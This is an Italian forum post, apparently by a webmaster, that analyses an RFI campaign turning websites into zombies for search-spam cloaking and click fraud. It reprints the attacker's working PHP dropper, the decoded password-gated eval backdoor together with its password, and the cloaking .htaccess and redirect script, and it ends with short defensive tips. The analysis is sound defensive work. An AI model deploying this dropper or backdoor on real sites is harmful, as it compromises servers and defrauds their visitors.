Forum Flash, Actionscript, PHP e MySQL
Network di siti zombie: come guadagnare dalla rete

 
Nuovo Topic   Rispondi    Forum Flash, Actionscript, PHP e MySQL » PHP
Precedente  Successivo 
Autore Messaggio
AngaraT
intermedio
intermedio



Registrato: 23/03/04 21:10
Messaggi: 152

MessaggioOggetto: Network di siti zombie: come guadagnare dalla rete
Inviato: 18.06.08 | 13:00
Rispondi citando

Network di siti zombie:
come guadagnare dalla rete


Premessa

Vi è mai capitato guardando le statistiche del vostro sito di trovare accessi strani?
Facciamo un esempio concreto: se tra i vari accessi ne vedete uno simile a questo h**p://www.tuosito.it/pagina.php?var=http://www.sito_zombie.ext/dir/dir/ state purr certi che stanno tentando di sfruttare una possibile falla del sistema.

Questa tentativo comunemente viene chiamato RFI (Remote File Inclusion) e sfrutta una variabile non controllata correttamente nel codice ed anche una configurazione non perfetta del server. Per maggiori chiarimenti vi riporto alla descrizione di Wikipedia su Remote File Inclusion

Il tipo di attacco che desidero descrivere è abbastanza complesso e si divide in varie fasi tutte utili ad ottenere un risultato ben definito. Generalmente quando sentiamo parlare di siti zombie (vi è mai capitato?) si intende che il sito web in questione viene utilizzato da un malintenzionato per i suoi sconosciuti scopi che possono riguardare lo spam o altre stranezze della rete.

Analizzando le statitistiche di un mio sito mi sono imbattuto in una rete di siti zombie tutti modificati allo stesso modo, tutti perfettamente funzionanti e tutti usati per attaccare altri siti senza che i legittimi proprietari ne fossero a conoscenza. Andando sempre più in profondità in questa ricerca ho notato che non esiste una tipologia preferenziale di sito zombie, che siano .com o .it o .ru o .cz non fa alcuna differenza, che siano professionali o amatoriali non crea particolari problemi, ad esempio ne ho trovato uno di un'emittente televisiva peruviana; l'importante è che siano tutti bucabili.

Osservando in dettaglio l'attacco tramite le statistiche (io utilizzo php-stats) ho visto che l'ip dell'attaccante si nasconde dietro un proxy, quale proxy è indifferente, ho notato anche che l'attacco generalmente non avviene in un unico tentativo, ma nel giro di pochi secondi si divide in almeno una ventina ti tentativi da altrettanti siti zombie, questo mi fa pensare che molto probabilmente dietro ci sia uno script o un programma per automatizzare tale processo di scansione.

Incuriosito ed anche un po' stressato (circa 1300 attacchi in 6/8 mesi) sono andato ad osservare il sito attaccante ed ho trovato una pagina html con questo codice
 
Codice:
<?php echo md5("just_a_test" ); ?>


Cosa significa?
Senza ombra di dubbio mi stanno volutanto o meglio stanno valutando se il mio sito è affetto dalla strana malattia dell'RFI.

In pratica se l'attacco va a buon fine, e quindi l'inclusione arbitraria di file esterni ha avuto successo, sul browser dell'attacante si dovrebbe leggere l'hash md5 della stringa "just_a_test" generato dall'esecuzione del codice php da parte del mio server.

Per vedere che accade realmente ad un sito quando viene bucato o analizzi lo zombie o crei uno specchietto per le allodole e ti fai infettare.


Analisi di un attacco

Gli script di seguito riportati sono tutti stati creati nello "specchietto", ma sfortunatamente non ho la certezza assoluta dei tempi, troppi dati sono andati persi.

Al primo attacco sfruttano il codice contenuto in h**p://www.sito_zombie.ext/dir/dir/a/ (da notare la lieve differenza dal primo URL)
 
Codice:
<?php 
error_reporting
(1);
global 
$HTTP_SERVER_VARS;
$START time();
$WD_TIMEOUT = array(8,7,6,6,5,5,5,5,0);
function 
my_fwrite($f,$data) {
    global 
$CURFILE
    
$file_mtime = @filemtime($f); 
    
$file_atime = @fileatime($f); 
    
$dir_mtime = @filemtime(@dirname($f)); 
    
$dir_atime = @fileatime(@dirname($f)); 
    if (
$file_h = @fopen($f,"wb")){ 
        @
fwrite($file_h,$data); 
        @
fclose($file_h); 
        if (
$file_mtime){ 
            @
touch($f,$file_mtime,$file_atime); 
        }elseif(@
filemtime($CURFILE)){ 
            @
chmod($f,@fileperms($CURFILE)); 
            @
touch($f,@filemtime($CURFILE),
            @
fileatime($CURFILE)); 
            @
chgrp($f,@filegroup($CURFILE)); 
            @
chown($f,@fileowner($CURFILE)); 
        }; 
        if (
$dir_mtime
            @
touch(@dirname($f),$dir_mtime,$dir_atime); 
        return 
$f
    }else{ 
        return 
''

    }; 
}; 
function 
ext($f){ 
    return 
substr($fstrrpos($f".") + 1); 
}; 
function 
walkdir($p,$func='_walkdir',$l=0){ 
    global 
$START
    global 
$WD_TIMEOUT
    global 
$FL
    
$func_f "{$func}_f"
    
$func_d "{$func}_d"
    
$func_s "{$func}_s"
    
$func_e "{$func}_e"
    if (
$dh = @opendir("$p")){ 
        if (
function_exists($func_s)) { 
            if (
$func_s($p,$l)) return 1
        }; 
        while (
$f = @readdir($dh)){ 
            if (
time() - $START >= $WD_TIMEOUT[$l] ) 
                break; 
            if (
$f == '.' || $f == '..' 
                continue; 
            if (@
is_dir ("$p$f/") ) 
                
walkdir("$p$f/",$func,$l+1); 
            if (@
is_dir ("$p$f/") && function_exists($func_d)) 
                
$func_d("$p$f/",$l); 
            if (@
is_file("$p$f) && function_exists($func_f)) 
                
$func_f("$p$f,$l); 
        }; 
        
closedir($dh); 
        if (
function_exists($func_e)) 
            
$func_e($p,$l); 
    }; 
}; 
function 
r_cut($p){ 
    global 
$R
    return 
substr($p,strlen($R)); 
}; 
function 
say($t) { 
    echo 
"$t\n"
}; 
function 
testdata($t) { 
    
say(md5("testdata_$t")); 
}; 
$R $HTTP_SERVER_VARS['DOCUMENT_ROOT']; 
$CURFILE $HTTP_SERVER_VARS['DOCUMENT_ROOT'].$HTTP_SERVER_VARS['SCRIPT_NAME']; 
echo 
"<pre>"
testdata('start'); 
$fe ext($CURFILE); 

if (!
$fe
    
$fe 'php'
$FN "namogofer.$fe"
function 
_walkdir_s($d,$l) { 
    global 
$FCNT
    
$FCNT = array('fn' => '','dir' => 0,'file' => 0,'simtype' => 0); 
}; 
function 
_walkdir_d($d,$l) { 
    global 
$FCNT$FCNT['dir' ]++; 
}; 
function 
_walkdir_f($f,$l) { 
    global 
$FCNT
    
$FCNT['file']++; 
    if (
ext($f) == ext($CURFILE)) 
        
$FCNT['simtype']++; 
}; 
function 
_walkdir_e($d,$l) { 
    global 
$C,$FCNT,$FN
    if (
$C[$l]<7){ 
        if (
my_fwrite("$d$FN",str_repeat("\n",100).str_repeat(' ',150).base64_decode('PD9waHAgZXJyb3JfcmVwb3J0aW5nKDEpO2dsb2JhbCAkSFRUUF9TRVJWRVJfVkFSUzsgZnVuY3Rpb24gc2F5KCR0KSB7IGVjaG8gIiR0XG4iOyB9OyBmdW5jdGlvbiB0ZXN0ZGF0YSgkdCkgeyBzYXkobWQ1KCJ0ZXN0ZGF0YV8kdCIpKTsgfTsgZWNobyAiPHByZT4iOyB0ZXN0ZGF0YSgnc3RhcnQnKTsgaWYgKG1kNSgkX1BPU1RbInAiXSk9PSJhYWNlOTk0MjhjNTBkYmU5NjVhY2M5M2YzZjI3NWNkMyIpeyBpZiAoJGNvZGUgPSBAZnJlYWQoQGZvcGVuKCRIVFRQX1BPU1RfRklMRVNbImYiXVsidG1wX25hbWUiXSwicmIiKSwkSFRUUF9QT1NUX0ZJTEVTWyJmIl1bInNpemUiXSkpeyBldmFsKCRjb2RlKTsgfWVsc2V7IHRlc3RkYXRhKCdmJyk7IH07IH1lbHNleyB0ZXN0ZGF0YSgncGFzcycpOyB9OyB0ZXN0ZGF0YSgnZW5kJyk7IGVjaG8gIjwvcHJlPiI7ID8+').str_repeat(' ',150)."\n".str_repeat("\n",100))){ 
            
$C[$l]++; 
            
$FCNT['fn'] = r_cut("$d$FN"); 
            
say(implode("\t",$FCNT)); 
        }; 
    }; 
}; 

walkdir("$R/"); 
testdata('end'); 
echo 
"</pre>"
?>


Questo script serve per creare vari file .php in quasi tutte le cartelle del nostro sito e nel contempo stampa a video tutti i percorsi infettati dando così la possibilità all'attaccante di salvarsi i dati per un futuro utilizzo; il file viene creato da questo codice
 
Codice:
<?php base64_decode('PD9waHAgZXJyb3JfcmVwb3J0aW5nKDEpO2dsb2JhbCAkSFRUUF9TRVJWRVJfVkFSUzsgZnVuY3Rpb24gc2F5KCR0KSB7IGVjaG8gIiR0XG4iOyB9OyBmdW5jdGlvbiB0ZXN0ZGF0YSgkdCkgeyBzYXkobWQ1KCJ0ZXN0ZGF0YV8kdCIpKTsgfTsgZWNobyAiPHByZT4iOyB0ZXN0ZGF0YSgnc3RhcnQnKTsgaWYgKG1kNSgkX1BPU1RbInAiXSk9PSJhYWNlOTk0MjhjNTBkYmU5NjVhY2M5M2YzZjI3NWNkMyIpeyBpZiAoJGNvZGUgPSBAZnJlYWQoQGZvcGVuKCRIVFRQX1BPU1RfRklMRVNbImYiXVsidG1wX25hbWUiXSwicmIiKSwkSFRUUF9QT1NUX0ZJTEVTWyJmIl1bInNpemUiXSkpeyBldmFsKCRjb2RlKTsgfWVsc2V7IHRlc3RkYXRhKCdmJyk7IH07IH1lbHNleyB0ZXN0ZGF0YSgncGFzcycpOyB9OyB0ZXN0ZGF0YSgnZW5kJyk7IGVjaG8gIjwvcHJlPiI7ID8+'?>


che decodificato ritorna questo script
 
Codice:
<?php 
error_reporting
(1);
global 
$HTTP_SERVER_VARS
function 
say($t) { 
    echo 
"$t\n"
}; 
function 
testdata($t) { 
    
say(md5("testdata_$t")); 
}; 
echo 
"<pre>"
testdata('start'); 
if (
md5($_POST["p"])=="aace99428c50dbe965acc93f3f275cd3"){ 
    if (
$code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"])){ 
        eval(
$code); 
    }else{ 
        
testdata('f'); 
    }; 
}else{ 
    
testdata('pass'); 
}; 
testdata('end'); 
echo 
"</pre>"

?>


Interessante la porzione di codice php: if (md5($_POST["p"])=="aace99428c50dbe965acc93f3f275cd3"){ .
La funzione md5 di questa stringa Ox93Mdpqme8s ritorna come risultato esattamente l'hash nella condizione dell'if.

Sfortunatamente alcuni passaggi me li sono persi, come ad esempio il referer, l'ip ed altre info sulla parte sucessiva dell'attacco, mettere su un honeypot dal nulla non è poi così semplice, devo pur sempre lavorare e tra clienti che chiamano, script da terminare, siti da aggiornare e grafici (la mia compagna Very Happy) da "cazziare" il tempo non è molto, ma il risultato finale è quello di rendere il nostro sito uno zombie a tutti gli effetti.

Altra parte importante dell'attacco è quella che costituisce lo scopo reale di tutto questo processo.
Continuandio l'analisi del mio zombie personale ho trovato un file .htaccess nella root ed una nuova cartella contenente alcuni file molto interessanti tra cui un javascript che il mio antivirus mi segnala allarmisticamente ed un finto blog contenente vari link e finti commenti.

Ma cerchiamo di andare con ordine.

Ora il nostro sito è ufficialmente uno zombie e può essere usato per attaccare altri siti, ma la cosa più importante è che, se lasciamo passare abbastanza tempo, viene indicizzato sui motori di ricerca il finto blog e quindi se un utente ci cerca, sui risultati appare si l'indirizzo del sito, ma il collegamento è al finto blog.

Il file .htaccess
 
Codice:
# *************2452472e9554b5520c
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://([a-z0-9_\-]+.)*(google|msn|yahoo|live|ask|dogpile|mywebsearch|yandex|rambler|aport|mail|gogo|poisk|alltheweb|fireball|freenet|abacho|wanadoo|free|club-internet|aliceadsl|alice|skynet|terra|ya|orange|cl ix|terravista|gratis-ting|suomi24)\. [NC]
RewriteCond %{HTTP_REFERER} [?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string|search_word|buscar|text|words|su|q t|rdata)\=
RewriteCond %{HTTP_REFERER} ![?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string|search_word|buscar|text|words|su|q t|rdata)\=[^&]+(%3A|%22)
RewriteCond %{TIME_SEC} <59
RewriteRule ^.*$ /dir/dir/ex3/t.htm [L]
# *************2452472e9554b5520c


Da notare che il file t.htm in ext3 è il finto blog.
Ecco il javascript (check.js) incriminato dal mio antivirus; è stato leggermente modificato per ovvie ragioni!!
 
Codice:
if ( (Math.random()*60 < JSS1) && document.referrer.march(/^http:\/\/([@@\-]+\.)*(google|msn|yahoo|live|ask|dogpile|mywebsearch|yandex|rambler|aport|mail|gogo|poisk|alltheweb|fireball|freenet|abacho|wanadoo|free|club-internet|aliceadsl|alice|skynet|terra|ya|orange|clix|terravista|gratis-ting|suomi24)\./) && document.referrer.march(/[?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string|search_word|buscar|text|words|su|qt|rdata)\=/) && !document.referrer.march(/[?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string|search_word|buscar|text|words|su|qt|rdata)\=[^&]+(%3A|%22)/) ){ location.href=JSS3+'?r='+encodeURIComponent(document.referrer)+'&s='+JSS2;


Di seguito ecco il sorgenti di un file interessante (dummy.htm) nella cartella che contiene anche il javascript
 
Codice:
<html><body><a id='hr' href="blog.htm"></a><script>try { document.getElementById('hr').click() } catch(e) { location.href='blog.htm' }</script></body></html>


Del fle blog.htm non riporto nulla per motivi di spazio; con una rapida ricerca su Google lo si trova senza problemi.
Dentro alla cartella ext3 abbiamo un altro .htaccess
 
Codice:
RewriteEngine Off


ed il file t.htm molto simile al file blog.htm. Sempre per motivi di spazio non riporto neppure il file t.htm.


Il blog: come sfrutto il tuo sito

Ma cosa accade visitando il finto blog?
In principio ci si trova di fronte ad una pagina che sembra del tutto anonima, sfondo nero scritta tutta in inglese ma osservando il comportamento del browser subito ci si accorge di alcune cose particolari per non dire strane.

Al caricamento della stessa vi è una richiesta all'IP 75.127.109.21 ed al sito www.findwhat.com; in tutti gli zombie che ho analizzato questo comportamento sembra essere sempre lo stesso, al termine viene visualizzato il blog completo di link e commenti.

L'IP 75.127.109.21 serve per caricare tramite un javascript (document.write) tutti i link che troviamo nel blog, possono variare sia tra zombie sia se è la tua prima visita sia per altri fattori che non conosco, invece il sito www.findwhat.com sembra essere un innocente motore di ricerca, in realtà l'indirizzo esatto è h**p://admedia.xmlsearch.findwhat.com/bin/findwhat.dll?ecc...ecc... che offre un servizio di www.miva.com forse un prodotto "Partner Solution".

La cosa si fa abbastanza coinvolgente. Questi guadagnano ad ogni visita che ricevono dal mio sito?

Cliccando invece su un link del finto blog prima sono stato proiettato su 64.111.196.117, poi su 64.111.197.92 dato che il ...117 diceva "Object moved to" ecc..., che sfortuna pure sul ...92 mi diceva "Object moved to" ecc..., quindi mi ha sparato sul 64.5.219.20.

Al primo colpo il ...20 mi ha settato dei cookie, poi mi ha reindirizzato sempre sul 64.5.219.20 ma questa volta per fare un redirect su www.bidvertiser.com in una zona protetta. Girovagando per quel sito ho trovato un interessante slogan, ma per caso stanno facendo altri soldi sempre dal mio sito con un semplice click????

Poi il mio povero browser viene ancora sparato www.beatyourcasino.com (ma stiamo scherzando?), poi ancora su un altro sito, poi ancora su un IP 75.127.109.21 poi finalmente sulla destinazione "desiderata" e cioè il link iniziale sul finto blog.

Sto iniziando a pensare che qualcuno stia sfruttando il mio sito. dho

Il bello di tutto questo passaggio è che li sito infettato funziona tranquillamente, il server non si accorge di nulla, il motore di ricerca è contento, il visitatore al massimo si domanda perchè la grafica sia stata cambiata con quell'anonima pagina nera.

In realtà di IP sfruttati e siti che offrono soldi in cambio di click in tutto questo network ne esistono altri oltre a quelli da me citati, ho analizzato molti zombie (la mia lista personale ne comprende circa 150 sparsi in tutto il globo per un solo mio sito attaccato) alcuni ex-zombie altri sono domini non rinnovati, ma molti sono perfettamente funzionanti ed utili allo scopo.

Certamente i siti che offrono il servizio di pagamento per i click non sono coinvolti e neppure gli ISP che gestiscono i server.


Come proteggersi

PHP sicuro
A livello di codice scritto i metodi di difesa sono molto semplici ed anche una corretta configurazione del server pone rimedio a molte disattenzioni degli sviluppatori, interessante può essere l'articolo di www.html.it - Scrivere applicazioni PHP sicure

Software per proteggere il proprio sito
Come gia segnalato in un mio precedene post, esiste un software completamente gratuito e scritto in php per proteggere il proprio sito, sto parlando ovviamente di EvilSentinel giunto ormai alla versione 1.1.3


Webmaster, web developer e web designer occhi aperti e controllate spesso i vostri domini! Laughing


Ringraziamenti

Desidero ringraziare Zobaz e s3rg3770 per l'aiuto ed il supporto.


Angarat

PS tutti gli errori e le imprecisioni sono dovute solamente a mia disattenzione, chiunque voglia contribuire migliorando o confutando in parte o completamente questa mia superficiale analisi è il benvenuto.
.
Torna in cima
Profilo Messaggio privato  
Sponsor
ZobaZ
moderatore
moderatore



Registrato: 27/03/04 21:25
Messaggi: 71
Località: Cologna Veneta, Verona

MessaggioOggetto:
Inviato: 23.06.08 | 18:57
Rispondi citando

Complimenti ad AngaraT per l'articolo!

L'argomento è molto vasto e interessante, e meriterebbe quasi una sezione apposita..

____________________________________________________________
ZobaZ - web design & sounds
www.myspace.com/zobaz_it
www.youtube.com/zobazDOTit
www.zobaz.it

Torna in cima
Profilo Messaggio privato   HomePage Indirizzo AIM Skype
Mostra prima i messaggi di:   
Nuovo Topic   Rispondi    Forum Flash, Actionscript, PHP e MySQL » PHP Tutti i fusi orari sono GMT + 2 ore
Pagina 1 di 1

Discussioni Simili
Topic Autore Forum Risposte Ultimo Messaggio
Topic chiuso [SPAM] come guadagnare soldi su internet wind94 Siti Web 0 25.03.08 | 23:02 Leggi gli ultimi messaggi
wind94
Nessun nuovo messaggio Tor: anonimato in rete AngaraT News dal Web 6 10.10.11 | 06:47 Leggi gli ultimi messaggi
ChrisAngle27
Nessun nuovo messaggio Rete Lan via Bluetooth andbia Internet e LAN!!! 1 26.10.04 | 18:01 Leggi gli ultimi messaggi
gush
Nessun nuovo messaggio Condivisione internet in rete LAN fish Hardware & Software Upgrade! 1 15.01.07 | 18:34 Leggi gli ultimi messaggi
eaco
Nessun nuovo messaggio aggiornabile da rete internet malcom ActionScript & Server Side 1 11.05.05 | 10:13 Leggi gli ultimi messaggi
magodellaneve



 
Vai a:  
Non puoi inserire nuovi Topic in questo forum
Non puoi rispondere ai Topic in questo forum
Non puoi modificare i tuoi messaggi in questo forum
Non puoi cancellare i tuoi messaggi in questo forum
Non puoi votare nei sondaggi in questo forum
Non puoi allegare files in questo forum
Non puoi downloadare gli allegati in questo forum



Powered by phpBB © 2001, 2002 phpBB Group - phpBB SEO Designed by coachdesign - © 2003-2005